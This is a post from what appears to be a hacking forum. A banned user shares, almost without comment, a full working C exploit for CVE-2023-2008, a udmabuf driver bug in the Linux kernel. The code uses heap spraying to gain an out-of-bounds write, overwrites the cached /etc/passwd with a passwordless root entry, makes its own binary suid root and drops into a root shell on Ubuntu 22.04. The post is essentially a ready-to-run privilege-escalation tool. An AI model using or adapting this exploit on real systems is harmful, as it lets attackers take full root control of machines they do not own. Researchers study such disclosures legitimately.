• XSS.stack #1 – первый литературный журнал от юзеров форума

Local LPE, Ubuntu 22.04 - udmabuf, CVE-2023-2008

weaver

31 c0 bb ea 1b e6 77 66 b8 88 13 50 ff d3
Забанен
Регистрация
19.12.2018
Сообщения
3 301
Решения
11
Реакции
4 622
Депозит
0.0001
Пожалуйста, обратите внимание, что пользователь заблокирован
инфа: https://labs.bluefrostsecurity.de/blog/cve-2023-2008.html

poc
C:
/*
Proof of concept exploit for CVE-2023-2008, a bug in the udmabuf driver of the Linux kernel fixed in 5.19-rc4.

You can find a description of the bug and the exploitation strategy in our blog post.
https://labs.bluefrostsecurity.de/blog/cve-2023-2008.html

The exploit was tested on a vulnerable Ubuntu 22.04, and it requires access to the /dev/udmabuf device. This is only accessible to users in the kvm group, so you may need to add your test user to this group when testing the exploit.

To test, simply compile with gcc and run the resulting binary.
*/
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>

#include <sys/mman.h>

#include <err.h>

#include <unistd.h>
#include <fcntl.h>

#include <sys/ioctl.h>

#include <sys/uio.h>

#include <string.h>

#include <sys/types.h>
#include <sys/wait.h>

#define PAGE_SIZE 4096

#define N_PAGES_ALLOC 128

#define N_PIPES_SPRAY 256

struct udmabuf_create
{
  uint32_t memfd;
  uint32_t flags;
  uint64_t offset;
  uint64_t size;
};

#define UDMABUF_CREATE _IOW('u', 0x42, struct udmabuf_create)

int main(int argc, char* argv[argc+1])
{
  if (geteuid() == 0)
  {
    printf("[+] backdoor triggered successfully!\n");
    setresuid(0, 0, 0);
    setresgid(0, 0, 0);
    system("/bin/sh");
    exit(EXIT_SUCCESS);
  }

  int mem_fd = memfd_create("test", MFD_ALLOW_SEALING);
  if (mem_fd < 0)
    errx(1, "couldn't create anonymous file");
 
  /* setup size of anonymous file, the initial size was 0 */
  if (ftruncate(mem_fd, PAGE_SIZE * N_PAGES_ALLOC) < 0)
    errx(1, "couldn't truncate file length");

  /* make sure the file cannot be reduced in size */
  if (fcntl(mem_fd, F_ADD_SEALS, F_SEAL_SHRINK) < 0)
    errx(1, "couldn't seal file");

  printf("[*] anon file fd=%d (%#x bytes)\n", mem_fd, PAGE_SIZE * N_PAGES_ALLOC);

  int target_fd = open("/etc/passwd", O_RDONLY);
  if (target_fd < 0)
    errx(1, "couldn't open target file");

  /* create a read-only shared mapping avoiding CoW */
  void* target_map = mmap(NULL, PAGE_SIZE, PROT_READ, MAP_SHARED, target_fd, 0);
  if (target_map == MAP_FAILED)
    errx(1, "couldn't map target file");

  printf("[*] target file mapped at %p (%#x bytes)\n", target_map, PAGE_SIZE);

  int dev_fd = open("/dev/udmabuf", O_RDWR);
  if (dev_fd < 0)
    errx(1, "couldn't open device");

  printf("[*] udmabuf device fd=%d\n", dev_fd);

  size_t attempt = 0;

  int end = 0;
  while (! end)
  {
    printf("[!] attempt %zu\n", attempt++);

    /* spray pipes, by default the pipe buffers array land on kmalloc-1024 */
    int pipe_fds[N_PIPES_SPRAY][2] = { 0 };
    for (int i=0; i < N_PIPES_SPRAY; i++)
    {
      if (pipe(pipe_fds[i]) < 0)
        errx(1, "couldn't create pipe");
    }

    printf("[*] sprayed %d pipes\n", N_PIPES_SPRAY);

    /* shrink some pipes making holes in kmalloc-1024 */
    for (int i=0; i < N_PIPES_SPRAY; i++)
    {
      if (i % 2 == 0)
      {
        if (fcntl(pipe_fds[i][0], F_SETPIPE_SZ, PAGE_SIZE) < 0)
          errx(1, "couldn't shrink pipe");
      }
    }

    struct udmabuf_create create = { 0 };
    create.memfd = mem_fd;
    create.size  = PAGE_SIZE * N_PAGES_ALLOC;
  
    /* reallocate one of the freed holes in kmalloc-1024 */
    int udmabuf_fd = ioctl(dev_fd, UDMABUF_CREATE, &create);
    if (udmabuf_fd < 0)
      errx(1, "couldn't create udmabuf");

    printf("[*] udmabuf fd=%d\n", udmabuf_fd);

    /* vmsplice to all pipes, should grab a page reference and
     * put the page pointer inside the pipe buf. hopefully one
     * of this is just after our pages array */
    for (int i=0; i < N_PIPES_SPRAY; i++)
    {
      struct iovec iov = {
        .iov_base = target_map,
        .iov_len  = PAGE_SIZE,
      };

      if (vmsplice(pipe_fds[i][1], &iov, 1, 0) < 0)
        errx(1, "couldn't splice target page into pipes");
    }

    /* map the udmabuf into userspace */
    void* udmabuf_map = mmap(NULL, PAGE_SIZE * N_PAGES_ALLOC,
        PROT_READ|PROT_WRITE, MAP_SHARED, udmabuf_fd, 0);
    if (udmabuf_map == MAP_FAILED)
      errx(1, "couldn't map udmabuf");

    printf("[*] udmabuf mapped at %p (%#x bytes)\n",
        udmabuf_map, PAGE_SIZE * N_PAGES_ALLOC);

    /* remap the virtual mapping expanding its size */
    void* new_udmabuf_map = mremap(udmabuf_map,
        PAGE_SIZE * N_PAGES_ALLOC, PAGE_SIZE * N_PAGES_ALLOC * 2, MREMAP_MAYMOVE);
    if (new_udmabuf_map == MAP_FAILED)
      errx(1, "couldn't remap udmabuf mapping");

    printf("[*] udmabuf map expanded at %p (%#x bytes)\n", new_udmabuf_map,
        PAGE_SIZE * N_PAGES_ALLOC * 2);

    /* we should be out-of-bounds of the pages array */
    char* ptr = new_udmabuf_map + PAGE_SIZE * N_PAGES_ALLOC;

    pid_t pid = fork();
    if (pid < 0)
      errx(1, "couldn't fork");

    if (! pid)
    {
      /* check if the oob succeded */
      if (! memcmp(ptr, "root", 4))
        exit(EXIT_SUCCESS);
      exit(EXIT_FAILURE);
    }

    int wstatus = -1;
    if (waitpid(pid, &wstatus, 0) < 0)
      errx(1, "couldn't wait for child");

    if ((end = ! wstatus))
    {
      printf("[+] heap spraying succeded\n");

      char backdoor[] = "root::0:0:xroot:/root:/bin/bash";
      char backup[sizeof(backdoor)] = { 0 };

      memcpy(backup, ptr, sizeof(backup));
      memcpy(ptr, backdoor, sizeof(backdoor));

      printf("[*] backdoor installed\n");

      char cmd[512];
      sprintf(cmd, "su -c \"chown root:root %s && chmod u+s %s\"",
          argv[0], argv[0]);
      printf("[*] payload=%s\n", cmd);
      system(cmd);

      memcpy(ptr, backup, sizeof(backup));
      printf("[*] backup restored\n");     
    }
    else
    {
      printf("[-] heap spraying failed\n");

      /* roll back, we need to spray again */
      munmap(new_udmabuf_map, PAGE_SIZE * N_PAGES_ALLOC * 2);

      close(udmabuf_fd);

      for (int i=0; i < N_PIPES_SPRAY; i++)
      {
        close(pipe_fds[i][0]);
        close(pipe_fds[i][1]);
      }
    }
  }

  system(argv[0]);

  return EXIT_SUCCESS;
}
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх